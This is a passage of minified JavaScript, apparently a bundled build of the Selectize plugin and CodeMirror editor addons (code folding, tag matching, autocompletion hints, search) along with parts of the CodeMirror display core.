r,i,o,s,a;t=e(t);o=t.attr("label");if(o){s=m(t)||{};s[l]=o;s[u]=o;n.optgroups.push(s)}a=e("option",t);for(r=0,i=a.length;i>r;r++)v(a[r],o)};n.maxItems=t.attr("multiple")?null:1;h=t.children();for(p=0,d=h.length;d>p;p++){f=h[p].tagName.toLowerCase();"optgroup"===f?E(h[p]):"option"===f&&v(h[p])}};return this.each(function(){if(!this.selectize){var i,o=e(this),s=this.tagName.toLowerCase(),a=o.attr("placeholder")||o.attr("data-placeholder");a||r.allowEmptyOption||(a=o.children('option[value=""]').text());var l={placeholder:a,options:[],optgroups:[],items:[]};"select"===s?d(o,l):p(o,l);i=new M(o,e.extend(!0,{},n,l,t))}})};e.fn.selectize.defaults=M.defaults;e.fn.selectize.support={validity:S};M.define("drag_drop",function(){if(!e.fn.sortable)throw new Error('The "drag_drop" plugin requires jQuery UI "sortable".');if("multi"===this.settings.mode){var t=this;t.lock=function(){var e=t.lock;return function(){var n=t.$control.data("sortable");n&&n.disable();return e.apply(t,arguments)}}();t.unlock=function(){var e=t.unlock;return function(){var n=t.$control.data("sortable");n&&n.enable();return e.apply(t,arguments)}}();t.setup=function(){var n=t.setup;return function(){n.apply(this,arguments);var r=t.$control.sortable({items:"[data-value]",forcePlaceholderSize:!0,disabled:t.isLocked,start:function(e,t){t.placeholder.css("width",t.helper.css("width"));r.css({overflow:"visible"})},stop:function(){r.css({overflow:"hidden"});var n=t.$activeItems?t.$activeItems.slice():null,i=[];r.children("[data-value]").each(function(){i.push(e(this).attr("data-value"))});t.setValue(i);t.setActiveItem(n)}})}}()}});M.define("dropdown_header",function(t){var n=this;t=e.extend({title:"Untitled",headerClass:"selectize-dropdown-header",titleRowClass:"selectize-dropdown-header-title",labelClass:"selectize-dropdown-header-label",closeClass:"selectize-dropdown-header-close",html:function(e){return'<div class="'+e.headerClass+'"><div class="'+e.titleRowClass+'"><span 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t(e){this.options=e;this.from=this.to=0}function n(e){e===!0&&(e={});null==e.gutter&&(e.gutter="CodeMirror-foldgutter");null==e.indicatorOpen&&(e.indicatorOpen="CodeMirror-foldgutter-open");null==e.indicatorFolded&&(e.indicatorFolded="CodeMirror-foldgutter-folded");return e}function r(e,t){for(var n=e.findMarksAt(p(t)),r=0;r<n.length;++r)if(n[r].__isFold&&n[r].find().from.line==t)return!0}function i(e){if("string"==typeof e){var t=document.createElement("div");t.className=e+" CodeMirror-guttermarker-subtle";return t}return e.cloneNode(!0)}function o(e,t,n){var o=e.state.foldGutter.options,s=t,a=e.foldOption(o,"minFoldSize"),l=e.foldOption(o,"rangeFinder");e.eachLine(t,n,function(t){var n=null;if(r(e,s))n=i(o.indicatorFolded);else{var u=p(s,0),c=l&&l(e,u);c&&c.to.line-c.from.line>=a&&(n=i(o.indicatorOpen))}e.setGutterMarker(t,o.gutter,n);++s})}function s(e){var t=e.getViewport(),n=e.state.foldGutter;if(n){e.operation(function(){o(e,t.from,t.to)});n.from=t.from;n.to=t.to}}function a(e,t,n){var r=e.state.foldGutter.options;n==r.gutter&&e.foldCode(p(t,0),r.rangeFinder)}function l(e){var t=e.state.foldGutter,n=e.state.foldGutter.options;t.from=t.to=0;clearTimeout(t.changeUpdate);t.changeUpdate=setTimeout(function(){s(e)},n.foldOnChangeTimeSpan||600)}function u(e){var t=e.state.foldGutter,n=e.state.foldGutter.options;clearTimeout(t.changeUpdate);t.changeUpdate=setTimeout(function(){var n=e.getViewport();t.from==t.to||n.from-t.to>20||t.from-n.to>20?s(e):e.operation(function(){if(n.from<t.from){o(e,n.from,t.from);t.from=n.from}if(n.to>t.to){o(e,t.to,n.to);t.to=n.to}})},n.updateViewportTimeSpan||400)}function c(e,t){var n=e.state.foldGutter,r=t.line;r>=n.from&&r<n.to&&o(e,r,r+1)}e.defineOption("foldGutter",!1,function(r,i,o){if(o&&o!=e.Init){r.clearGutter(r.state.foldGutter.options.gutter);r.state.foldGutter=null;r.off("gutterClick",a);r.off("change",l);r.off("viewportChange",u);r.off("fold",c);r.off("unfold",c);r.off("swapDoc",s)}if(i){r.state.foldGutter=new t(n(i));s(r);r.on("gutterClick",a);r.on("change",l);r.on("viewportChange",u);r.on("fold",c);r.on("unfold",c);r.on("swapDoc",s)}});var p=e.Pos})},{"../../lib/codemirror":31,"./foldcode":25}],27:[function(t,n,r){(function(i){"object"==typeof r&&"object"==typeof n?i(t("../../lib/codemirror")):"function"==typeof e&&e.amd?e(["../../lib/codemirror"],i):i(CodeMirror)})(function(e){"use strict";function t(e,t){return e.line-t.line||e.ch-t.ch}function n(e,t,n,r){this.line=t;this.ch=n;this.cm=e;this.text=e.getLine(t);this.min=r?r.from:e.firstLine();this.max=r?r.to-1:e.lastLine()}function r(e,t){var n=e.cm.getTokenTypeAt(d(e.line,t));return n&&/\btag\b/.test(n)}function i(e){if(!(e.line>=e.max)){e.ch=0;e.text=e.cm.getLine(++e.line);return!0}}function o(e){if(!(e.line<=e.min)){e.text=e.cm.getLine(--e.line);e.ch=e.text.length;return!0}}function s(e){for(;;){var t=e.text.indexOf(">",e.ch);if(-1==t){if(i(e))continue;return}if(r(e,t+1)){var n=e.text.lastIndexOf("/",t),o=n>-1&&!/\S/.test(e.text.slice(n+1,t));e.ch=t+1;return o?"selfClose":"regular"}e.ch=t+1}}function a(e){for(;;){var t=e.ch?e.text.lastIndexOf("<",e.ch-1):-1;if(-1==t){if(o(e))continue;return}if(r(e,t+1)){g.lastIndex=t;e.ch=t;var n=g.exec(e.text);if(n&&n.index==t)return n}else e.ch=t}}function l(e){for(;;){g.lastIndex=e.ch;var t=g.exec(e.text);if(!t){if(i(e))continue;return}if(r(e,t.index+1)){e.ch=t.index+t[0].length;return t}e.ch=t.index+1}}function u(e){for(;;){var t=e.ch?e.text.lastIndexOf(">",e.ch-1):-1;if(-1==t){if(o(e))continue;return}if(r(e,t+1)){var n=e.text.lastIndexOf("/",t),i=n>-1&&!/\S/.test(e.text.slice(n+1,t));e.ch=t+1;return i?"selfClose":"regular"}e.ch=t}}function c(e,t){for(var n=[];;){var r,i=l(e),o=e.line,a=e.ch-(i?i[0].length:0);if(!i||!(r=s(e)))return;if("selfClose"!=r)if(i[1]){for(var u=n.length-1;u>=0;--u)if(n[u]==i[2]){n.length=u;break}if(0>u&&(!t||t==i[2]))return{tag:i[2],from:d(o,a),to:d(e.line,e.ch)}}else n.push(i[2])}}function p(e,t){for(var n=[];;){var r=u(e);if(!r)return;if("selfClose"!=r){var i=e.line,o=e.ch,s=a(e);if(!s)return;if(s[1])n.push(s[2]);else{for(var l=n.length-1;l>=0;--l)if(n[l]==s[2]){n.length=l;break}if(0>l&&(!t||t==s[2]))return{tag:s[2],from:d(e.line,e.ch),to:d(i,o)}}}else a(e)}}var d=e.Pos,f="A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD",h=f+"-:.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040",g=new RegExp("<(/?)(["+f+"]["+h+"]*)","g");e.registerHelper("fold","xml",function(e,t){for(var r=new n(e,t.line,0);;){var i,o=l(r);if(!o||r.line!=t.line||!(i=s(r)))return;if(!o[1]&&"selfClose"!=i){var t=d(r.line,r.ch),a=c(r,o[2]);return a&&{from:t,to:a.from}}}});e.findMatchingTag=function(e,r,i){var o=new n(e,r.line,r.ch,i);if(-1!=o.text.indexOf(">")||-1!=o.text.indexOf("<")){var l=s(o),u=l&&d(o.line,o.ch),f=l&&a(o);if(l&&f&&!(t(o,r)>0)){var h={from:d(o.line,o.ch),to:u,tag:f[2]};if("selfClose"==l)return{open:h,close:null,at:"open"};if(f[1])return{open:p(o,f[2]),close:h,at:"close"};o=new n(e,u.line,u.ch,i);return{open:h,close:c(o,f[2]),at:"open"}}}};e.findEnclosingTag=function(e,t,r){for(var i=new n(e,t.line,t.ch,r);;){var o=p(i);if(!o)break;var s=new n(e,t.line,t.ch,r),a=c(s,o.tag);if(a)return{open:o,close:a}}};e.scanForClosingTag=function(e,t,r,i){var o=new n(e,t.line,t.ch,i?{from:0,to:i}:null);return c(o,r)}})},{"../../lib/codemirror":31}],28:[function(t,n,r){(function(i){"object"==typeof r&&"object"==typeof n?i(t("../../lib/codemirror")):"function"==typeof e&&e.amd?e(["../../lib/codemirror"],i):i(CodeMirror)})(function(e){"use strict";function t(e,t){this.cm=e;this.options=this.buildOptions(t);this.widget=this.onClose=null}function n(e){return"string"==typeof e?e:e.text}function r(e,t){function n(e,n){var i;i="string"!=typeof n?function(e){return n(e,t)}:r.hasOwnProperty(n)?r[n]:n;o[e]=i}var r={Up:function(){t.moveFocus(-1)},Down:function(){t.moveFocus(1)},PageUp:function(){t.moveFocus(-t.menuSize()+1,!0)},PageDown:function(){t.moveFocus(t.menuSize()-1,!0)},Home:function(){t.setFocus(0)},End:function(){t.setFocus(t.length-1)},Enter:t.pick,Tab:t.pick,Esc:t.close},i=e.options.customKeys,o=i?{}:r;if(i)for(var s in i)i.hasOwnProperty(s)&&n(s,i[s]);var a=e.options.extraKeys;if(a)for(var s in a)a.hasOwnProperty(s)&&n(s,a[s]);return o}function i(e,t){for(;t&&t!=e;){if("LI"===t.nodeName.toUpperCase()&&t.parentNode==e)return t;t=t.parentNode}}function o(t,o){this.completion=t;this.data=o;var l=this,u=t.cm,c=this.hints=document.createElement("ul");c.className="CodeMirror-hints";this.selectedHint=o.selectedHint||0;for(var p=o.list,d=0;d<p.length;++d){var f=c.appendChild(document.createElement("li")),h=p[d],g=s+(d!=this.selectedHint?"":" "+a);null!=h.className&&(g=h.className+" "+g);f.className=g;h.render?h.render(f,o,h):f.appendChild(document.createTextNode(h.displayText||n(h)));f.hintId=d}var m=u.cursorCoords(t.options.alignWithWord?o.from:null),v=m.left,E=m.bottom,y=!0;c.style.left=v+"px";c.style.top=E+"px";var x=window.innerWidth||Math.max(document.body.offsetWidth,document.documentElement.offsetWidth),b=window.innerHeight||Math.max(document.body.offsetHeight,document.documentElement.offsetHeight);(t.options.container||document.body).appendChild(c);var T=c.getBoundingClientRect(),S=T.bottom-b;if(S>0){var N=T.bottom-T.top,C=m.top-(m.bottom-T.top);if(C-N>0){c.style.top=(E=m.top-N)+"px";y=!1}else if(N>b){c.style.height=b-5+"px";c.style.top=(E=m.bottom-T.top)+"px";var L=u.getCursor();if(o.from.ch!=L.ch){m=u.cursorCoords(L);c.style.left=(v=m.left)+"px";T=c.getBoundingClientRect()}}}var A=T.right-x;if(A>0){if(T.right-T.left>x){c.style.width=x-5+"px";A-=T.right-T.left-x}c.style.left=(v=m.left-A)+"px"}u.addKeyMap(this.keyMap=r(t,{moveFocus:function(e,t){l.changeActive(l.selectedHint+e,t)},setFocus:function(e){l.changeActive(e)},menuSize:function(){return l.screenAmount()},length:p.length,close:function(){t.close()},pick:function(){l.pick()},data:o}));if(t.options.closeOnUnfocus){var I;u.on("blur",this.onBlur=function(){I=setTimeout(function(){t.close()},100)});u.on("focus",this.onFocus=function(){clearTimeout(I)})}var w=u.getScrollInfo();u.on("scroll",this.onScroll=function(){var e=u.getScrollInfo(),n=u.getWrapperElement().getBoundingClientRect(),r=E+w.top-e.top,i=r-(window.pageYOffset||(document.documentElement||document.body).scrollTop);y||(i+=c.offsetHeight);if(i<=n.top||i>=n.bottom)return t.close();c.style.top=r+"px";c.style.left=v+w.left-e.left+"px"});e.on(c,"dblclick",function(e){var t=i(c,e.target||e.srcElement);if(t&&null!=t.hintId){l.changeActive(t.hintId);l.pick()}});e.on(c,"click",function(e){var n=i(c,e.target||e.srcElement);if(n&&null!=n.hintId){l.changeActive(n.hintId);t.options.completeOnSingleClick&&l.pick()}});e.on(c,"mousedown",function(){setTimeout(function(){u.focus()},20)});e.signal(o,"select",p[0],c.firstChild);return!0}var s="CodeMirror-hint",a="CodeMirror-hint-active";e.showHint=function(e,t,n){if(!t)return e.showHint(n);n&&n.async&&(t.async=!0);var r={hint:t};if(n)for(var i in n)r[i]=n[i];return e.showHint(r)};e.defineExtension("showHint",function(n){if(!(this.listSelections().length>1||this.somethingSelected())){this.state.completionActive&&this.state.completionActive.close();var r=this.state.completionActive=new t(this,n),i=r.options.hint;if(i){e.signal(this,"startCompletion",this);if(!i.async)return r.showHints(i(this,r.options));i(this,function(e){r.showHints(e)},r.options);return void 0}}});t.prototype={close:function(){if(this.active()){this.cm.state.completionActive=null;this.widget&&this.widget.close();this.onClose&&this.onClose();e.signal(this.cm,"endCompletion",this.cm)}},active:function(){return this.cm.state.completionActive==this},pick:function(t,r){var i=t.list[r];i.hint?i.hint(this.cm,t,i):this.cm.replaceRange(n(i),i.from||t.from,i.to||t.to,"complete");e.signal(t,"pick",i);this.close()},showHints:function(e){if(!e||!e.list.length||!this.active())return this.close();this.options.completeSingle&&1==e.list.length?this.pick(e,0):this.showWidget(e);return void 0},showWidget:function(t){function n(){if(!l){l=!0;c.close();c.cm.off("cursorActivity",a);t&&e.signal(t,"close")}}function r(){if(!l){e.signal(t,"update");var n=c.options.hint;n.async?n(c.cm,i,c.options):i(n(c.cm,c.options))}}function i(e){t=e;if(!l){if(!t||!t.list.length)return n();c.widget&&c.widget.close();c.widget=new o(c,t)}}function s(){if(u){g(u);u=0}}function a(){s();var e=c.cm.getCursor(),t=c.cm.getLine(e.line);if(e.line!=d.line||t.length-e.ch!=f-d.ch||e.ch<d.ch||c.cm.somethingSelected()||e.ch&&p.test(t.charAt(e.ch-1)))c.close();else{u=h(r);c.widget&&c.widget.close()}}this.widget=new o(this,t);e.signal(t,"shown");var l,u=0,c=this,p=this.options.closeCharacters,d=this.cm.getCursor(),f=this.cm.getLine(d.line).length,h=window.requestAnimationFrame||function(e){return setTimeout(e,1e3/60)},g=window.cancelAnimationFrame||clearTimeout;this.cm.on("cursorActivity",a);this.onClose=n},buildOptions:function(e){var t=this.cm.options.hintOptions,n={};for(var r in l)n[r]=l[r];if(t)for(var r in t)void 0!==t[r]&&(n[r]=t[r]);if(e)for(var r in e)void 0!==e[r]&&(n[r]=e[r]);return n}};o.prototype={close:function(){if(this.completion.widget==this){this.completion.widget=null;this.hints.parentNode.removeChild(this.hints);this.completion.cm.removeKeyMap(this.keyMap);var e=this.completion.cm;if(this.completion.options.closeOnUnfocus){e.off("blur",this.onBlur);e.off("focus",this.onFocus)}e.off("scroll",this.onScroll)}},pick:function(){this.completion.pick(this.data,this.selectedHint)},changeActive:function(t,n){t>=this.data.list.length?t=n?this.data.list.length-1:0:0>t&&(t=n?0:this.data.list.length-1);if(this.selectedHint!=t){var r=this.hints.childNodes[this.selectedHint];r.className=r.className.replace(" "+a,"");r=this.hints.childNodes[this.selectedHint=t];r.className+=" "+a;r.offsetTop<this.hints.scrollTop?this.hints.scrollTop=r.offsetTop-3:r.offsetTop+r.offsetHeight>this.hints.scrollTop+this.hints.clientHeight&&(this.hints.scrollTop=r.offsetTop+r.offsetHeight-this.hints.clientHeight+3);e.signal(this.data,"select",this.data.list[this.selectedHint],r)}},screenAmount:function(){return Math.floor(this.hints.clientHeight/this.hints.firstChild.offsetHeight)||1}};e.registerHelper("hint","auto",function(t,n){var r,i=t.getHelpers(t.getCursor(),"hint");if(i.length)for(var o=0;o<i.length;o++){var s=i[o](t,n);if(s&&s.list.length)return s}else if(r=t.getHelper(t.getCursor(),"hintWords")){if(r)return e.hint.fromList(t,{words:r})}else if(e.hint.anyword)return e.hint.anyword(t,n)});e.registerHelper("hint","fromList",function(t,n){for(var r=t.getCursor(),i=t.getTokenAt(r),o=[],s=0;s<n.words.length;s++){var a=n.words[s];a.slice(0,i.string.length)==i.string&&o.push(a)}return o.length?{list:o,from:e.Pos(r.line,i.start),to:e.Pos(r.line,i.end)}:void 0});e.commands.autocomplete=e.showHint;var l={hint:e.hint.auto,completeSingle:!0,alignWithWord:!0,closeCharacters:/[\s()\[\]{};:>,]/,closeOnUnfocus:!0,completeOnSingleClick:!1,container:null,customKeys:null,extraKeys:null};e.defineOption("hintOptions",null)})},{"../../lib/codemirror":31}],29:[function(t,n,r){(function(i){"object"==typeof r&&"object"==typeof n?i(t("../../lib/codemirror")):"function"==typeof e&&e.amd?e(["../../lib/codemirror"],i):i(CodeMirror)})(function(e){"use strict";e.runMode=function(t,n,r,i){var o=e.getMode(e.defaults,n),s=/MSIE \d/.test(navigator.userAgent),a=s&&(null==document.documentMode||document.documentMode<9);if(1==r.nodeType){var l=i&&i.tabSize||e.defaults.tabSize,u=r,c=0;u.innerHTML="";r=function(e,t){if("\n"!=e){for(var n="",r=0;;){var i=e.indexOf(" ",r);if(-1==i){n+=e.slice(r);c+=e.length-r;break}c+=i-r;n+=e.slice(r,i);var o=l-c%l;c+=o;for(var s=0;o>s;++s)n+=" ";r=i+1}if(t){var p=u.appendChild(document.createElement("span"));p.className="cm-"+t.replace(/ +/g," cm-");p.appendChild(document.createTextNode(n))}else u.appendChild(document.createTextNode(n))}else{u.appendChild(document.createTextNode(a?"\r":e));c=0}}}for(var p=e.splitLines(t),d=i&&i.state||e.startState(o),f=0,h=p.length;h>f;++f){f&&r("\n");var g=new e.StringStream(p[f]);!g.string&&o.blankLine&&o.blankLine(d);for(;!g.eol();){var m=o.token(g,d);r(g.current(),m,f,g.start,d);g.start=g.pos}}}})},{"../../lib/codemirror":31}],30:[function(t,n,r){(function(i){"object"==typeof r&&"object"==typeof n?i(t("../../lib/codemirror")):"function"==typeof e&&e.amd?e(["../../lib/codemirror"],i):i(CodeMirror)})(function(e){"use strict";function t(e,t,i,o){this.atOccurrence=!1;this.doc=e;null==o&&"string"==typeof t&&(o=!1);i=i?e.clipPos(i):r(0,0);this.pos={from:i,to:i};if("string"!=typeof t){t.global||(t=new RegExp(t.source,t.ignoreCase?"ig":"g"));this.matches=function(n,i){if(n){t.lastIndex=0;for(var o,s,a=e.getLine(i.line).slice(0,i.ch),l=0;;){t.lastIndex=l;var u=t.exec(a);if(!u)break;o=u;s=o.index;l=o.index+(o[0].length||1);if(l==a.length)break}var c=o&&o[0].length||0;c||(0==s&&0==a.length?o=void 0:s!=e.getLine(i.line).length&&c++)}else{t.lastIndex=i.ch;var a=e.getLine(i.line),o=t.exec(a),c=o&&o[0].length||0,s=o&&o.index;s+c==a.length||c||(c=1)}return o&&c?{from:r(i.line,s),to:r(i.line,s+c),match:o}:void 0}}else{var s=t;o&&(t=t.toLowerCase());var a=o?function(e){return e.toLowerCase()}:function(e){return e},l=t.split("\n");if(1==l.length)this.matches=t.length?function(i,o){if(i){var l=e.getLine(o.line).slice(0,o.ch),u=a(l),c=u.lastIndexOf(t);if(c>-1){c=n(l,u,c);return{from:r(o.line,c),to:r(o.line,c+s.length)}}}else{var l=e.getLine(o.line).slice(o.ch),u=a(l),c=u.indexOf(t);if(c>-1){c=n(l,u,c)+o.ch;return{from:r(o.line,c),to:r(o.line,c+s.length)}}}}:function(){};else{var u=s.split("\n");this.matches=function(t,n){var i=l.length-1;if(t){if(n.line-(l.length-1)<e.firstLine())return;if(a(e.getLine(n.line).slice(0,u[i].length))!=l[l.length-1])return;for(var o=r(n.line,u[i].length),s=n.line-1,c=i-1;c>=1;--c,--s)if(l[c]!=a(e.getLine(s)))return;var p=e.getLine(s),d=p.length-u[0].length;if(a(p.slice(d))!=l[0])return;return{from:r(s,d),to:o}}if(!(n.line+(l.length-1)>e.lastLine())){var p=e.getLine(n.line),d=p.length-u[0].length;if(a(p.slice(d))==l[0]){for(var f=r(n.line,d),s=n.line+1,c=1;i>c;++c,++s)if(l[c]!=a(e.getLine(s)))return;if(a(e.getLine(s).slice(0,u[i].length))==l[i])return{from:f,to:r(s,u[i].length)}}}}}}}function n(e,t,n){if(e.length==t.length)return n;for(var r=Math.min(n,e.length);;){var i=e.slice(0,r).toLowerCase().length;if(n>i)++r;else{if(!(i>n))return r;--r}}}var r=e.Pos;t.prototype={findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(e){function t(e){var t=r(e,0);n.pos={from:t,to:t};n.atOccurrence=!1;return!1}for(var n=this,i=this.doc.clipPos(e?this.pos.from:this.pos.to);;){if(this.pos=this.matches(e,i)){this.atOccurrence=!0;return this.pos.match||!0}if(e){if(!i.line)return t(0);i=r(i.line-1,this.doc.getLine(i.line-1).length)
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e([],t);this.CodeMirror=t()}})(function(){"use strict";function e(n,r){if(!(this instanceof e))return new e(n,r);this.options=r=r?No(r):{};No(Gs,r,!1);f(r);var i=r.value;"string"==typeof i&&(i=new ua(i,r.mode));this.doc=i;var o=this.display=new t(n,i);o.wrapper.CodeMirror=this;u(this);a(this);r.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap");r.autofocus&&!gs&&_n(this);v(this);this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,draggingText:!1,highlight:new vo,keySeq:null};is&&11>os&&setTimeout(Co(Rn,this,!0),20);kn(this);Mo();on(this);this.curOp.forceUpdate=!0;Mi(this,i);r.autofocus&&!gs||Do()==o.input?setTimeout(Co(ir,this),20):or(this);for(var s in Bs)Bs.hasOwnProperty(s)&&Bs[s](this,r[s],qs);T(this);for(var l=0;l<zs.length;++l)zs[l](this);an(this);ss&&r.lineWrapping&&"optimizelegibility"==getComputedStyle(o.lineDiv).textRendering&&(o.lineDiv.style.textRendering="auto")}function t(e,t){var n=this,r=n.input=wo("textarea",null,null,"position: absolute; padding: 0; width: 1px; height: 1em; outline: none");ss?r.style.width="1000px":r.setAttribute("wrap","off");hs&&(r.style.border="1px solid black");r.setAttribute("autocorrect","off");r.setAttribute("autocapitalize","off");r.setAttribute("spellcheck","false");n.inputDiv=wo("div",[r],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");n.scrollbarFiller=wo("div",null,"CodeMirror-scrollbar-filler");n.scrollbarFiller.setAttribute("not-content","true");n.gutterFiller=wo("div",null,"CodeMirror-gutter-filler");n.gutterFiller.setAttribute("not-content","true");n.lineDiv=wo("div",null,"CodeMirror-code");n.selectionDiv=wo("div",null,null,"position: relative; z-index: 1");n.cursorDiv=wo("div",null,"CodeMirror-cursors");n.measure=wo("div",null,"CodeMirror-measure");n.lineMeasure=wo("div",null,"CodeMirror-measure");n.lineSpace=wo("div",[n.measure,n.lineMeasure,n.selectionDiv,n.cursorDiv,n.lineDiv],null,"position: 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n?o+(Math.ceil(i.text.length/r)||1)*t:o+t}}function s(e){var t=e.doc,n=o(e);t.iter(function(e){var t=n(e);t!=e.height&&qi(e,t)})}function a(e){e.display.wrapper.className=e.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+e.options.theme.replace(/(^|\s)\s*/g," cm-s-");zt(e)}function l(e){u(e);xn(e);setTimeout(function(){b(e)},20)}function u(e){var t=e.display.gutters,n=e.options.gutters;Ro(t);for(var r=0;r<n.length;++r){var i=n[r],o=t.appendChild(wo("div",null,"CodeMirror-gutter "+i));if("CodeMirror-linenumbers"==i){e.display.lineGutter=o;o.style.width=(e.display.lineNumWidth||1)+"px"}}t.style.display=r?"":"none";c(e)}function c(e){var t=e.display.gutters.offsetWidth;e.display.sizer.style.marginLeft=t+"px"}function p(e){if(0==e.height)return 0;for(var t,n=e.text.length,r=e;t=ni(r);){var i=t.find(0,!0);r=i.from.line;n+=i.from.ch-i.to.ch}r=e;for(;t=ri(r);){var i=t.find(0,!0);n-=r.text.length-i.from.ch;r=i.to.line;n+=r.text.length-i.to.ch}return n}function d(e){var t=e.display,n=e.doc;t.maxLine=ji(n,n.first);t.maxLineLength=p(t.maxLine);t.maxLineChanged=!0;n.iter(function(e){var n=p(e);if(n>t.maxLineLength){t.maxLineLength=n;t.maxLine=e}})}function f(e){var t=bo(e.gutters,"CodeMirror-linenumbers");if(-1==t&&e.lineNumbers)e.gutters=e.gutters.concat(["CodeMirror-linenumbers"]);else if(t>-1&&!e.lineNumbers){e.gutters=e.gutters.slice(0);e.gutters.splice(t,1)}}function h(e){var t=e.display,n=t.gutters.offsetWidth,r=Math.round(e.doc.height+wt(e.display));return{clientHeight:t.scroller.clientHeight,viewHeight:t.wrapper.clientHeight,scrollWidth:t.scroller.scrollWidth,clientWidth:t.scroller.clientWidth,viewWidth:t.wrapper.clientWidth,barLeft:e.options.fixedGutter?n:0,docHeight:r,scrollHeight:r+_t(e)+t.barHeight,nativeBarWidth:t.nativeBarWidth,gutterWidth:n}}function g(e,t,n){this.cm=n;var r=this.vert=wo("div",[wo("div",null,null,"min-width: 1px")],"CodeMirror-vscrollbar"),i=this.horiz=wo("div",[wo("div",null,null,"height: 100%; min-height: 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i=0;4>i&&n!=e.display.barWidth||r!=e.display.barHeight;i++){n!=e.display.barWidth&&e.options.lineWrapping&&_(e);y(e,h(e));n=e.display.barWidth;r=e.display.barHeight}}function y(e,t){var n=e.display,r=n.scrollbars.update(t);n.sizer.style.paddingRight=(n.barWidth=r.right)+"px";n.sizer.style.paddingBottom=(n.barHeight=r.bottom)+"px";if(r.right&&r.bottom){n.scrollbarFiller.style.display="block";n.scrollbarFiller.style.height=r.bottom+"px";n.scrollbarFiller.style.width=r.right+"px"}else n.scrollbarFiller.style.display="";if(r.bottom&&e.options.coverGutterNextToScrollbar&&e.options.fixedGutter){n.gutterFiller.style.display="block";n.gutterFiller.style.height=r.bottom+"px";n.gutterFiller.style.width=t.gutterWidth+"px"}else n.gutterFiller.style.display=""}function x(e,t,n){var r=n&&null!=n.top?Math.max(0,n.top):e.scroller.scrollTop;r=Math.floor(r-It(e));var i=n&&null!=n.bottom?n.bottom:r+e.wrapper.clientHeight,o=Hi(t,r),s=Hi(t,i);if(n&&n.ensure){var a=n.ensure.from.line,l=n.ensure.to.line;if(o>a){o=a;s=Hi(t,Vi(ji(t,a))+e.wrapper.clientHeight)}else if(Math.min(l,t.lastLine())>=s){o=Hi(t,Vi(ji(t,l))-e.wrapper.clientHeight);s=l}}return{from:o,to:Math.max(s,o+1)}}function b(e){var t=e.display,n=t.view;if(t.alignWidgets||t.gutters.firstChild&&e.options.fixedGutter){for(var r=N(t)-t.scroller.scrollLeft+e.doc.scrollLeft,i=t.gutters.offsetWidth,o=r+"px",s=0;s<n.length;s++)if(!n[s].hidden){e.options.fixedGutter&&n[s].gutter&&(n[s].gutter.style.left=o);var a=n[s].alignable;if(a)for(var l=0;l<a.length;l++)a[l].style.left=o}e.options.fixedGutter&&(t.gutters.style.left=r+i+"px")}}function T(e){if(!e.options.lineNumbers)return!1;var t=e.doc,n=S(e.options,t.first+t.size-1),r=e.display;if(n.length!=r.lineNumChars){var i=r.measure.appendChild(wo("div",[wo("div",n)],"CodeMirror-linenumber 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t=e.display;if(!t.scrollbarsClipped&&t.scroller.offsetWidth){t.nativeBarWidth=t.scroller.offsetWidth-t.scroller.clientWidth;t.heightForcer.style.height=_t(e)+"px";t.sizer.style.marginBottom=-t.nativeBarWidth+"px";t.sizer.style.borderRightWidth=_t(e)+"px";t.scrollbarsClipped=!0}}function A(e,t){var n=e.display,r=e.doc;if(t.editorIsHidden){Tn(e);return!1}if(!t.force&&t.visible.from>=n.viewFrom&&t.visible.to<=n.viewTo&&(null==n.updateLineNumbers||n.updateLineNumbers>=n.viewTo)&&n.renderedView==n.view&&0==Ln(e))return!1;if(T(e)){Tn(e);t.dims=D(e)}var i=r.first+r.size,o=Math.max(t.visible.from-e.options.viewportMargin,r.first),s=Math.min(i,t.visible.to+e.options.viewportMargin);n.viewFrom<o&&o-n.viewFrom<20&&(o=Math.max(r.first,n.viewFrom));n.viewTo>s&&n.viewTo-s<20&&(s=Math.min(i,n.viewTo));if(Ts){o=ai(e.doc,o);s=li(e.doc,s)}var a=o!=n.viewFrom||s!=n.viewTo||n.lastWrapHeight!=t.wrapperHeight||n.lastWrapWidth!=t.wrapperWidth;Cn(e,o,s);n.viewOffset=Vi(ji(e.doc,n.viewFrom));e.display.mover.style.top=n.viewOffset+"px";var l=Ln(e);if(!a&&0==l&&!t.force&&n.renderedView==n.view&&(null==n.updateLineNumbers||n.updateLineNumbers>=n.viewTo))return!1;var u=Do();l>4&&(n.lineDiv.style.display="none");k(e,n.updateLineNumbers,t.dims);l>4&&(n.lineDiv.style.display="");n.renderedView=n.view;u&&Do()!=u&&u.offsetHeight&&u.focus();Ro(n.cursorDiv);Ro(n.selectionDiv);n.gutters.style.height=0;if(a){n.lastWrapHeight=t.wrapperHeight;n.lastWrapWidth=t.wrapperWidth;Nt(e,400)}n.updateLineNumbers=null;return!0}function I(e,t){for(var n=t.force,r=t.viewport,i=!0;;i=!1){if(i&&e.options.lineWrapping&&t.oldDisplayWidth!=Ot(e))n=!0;else{n=!1;r&&null!=r.top&&(r={top:Math.min(e.doc.height+wt(e.display)-Dt(e),r.top)});t.visible=x(e.display,e.doc,r);if(t.visible.from>=e.display.viewFrom&&t.visible.to<=e.display.viewTo)break}if(!A(e,t))break;_(e);var o=h(e);xt(e);R(e,o);E(e,o)}co(e,"update",e);if(e.display.viewFrom!=e.display.reportedViewFrom||e.display.viewTo!=e.display.reportedViewTo){co(e,"viewportChange",e,e.display.viewFrom,e.display.viewTo);e.display.reportedViewFrom=e.display.viewFrom;e.display.reportedViewTo=e.display.viewTo}}function w(e,t){var n=new C(e,t);if(A(e,n)){_(e);I(e,n);var r=h(e);xt(e);R(e,r);E(e,r)}}function R(e,t){e.display.sizer.style.minHeight=t.docHeight+"px";var n=t.docHeight+e.display.barHeight;e.display.heightForcer.style.top=n+"px";e.display.gutters.style.height=Math.max(n+_t(e),t.clientHeight)+"px"}function _(e){for(var t=e.display,n=t.lineDiv.offsetTop,r=0;r<t.view.length;r++){var 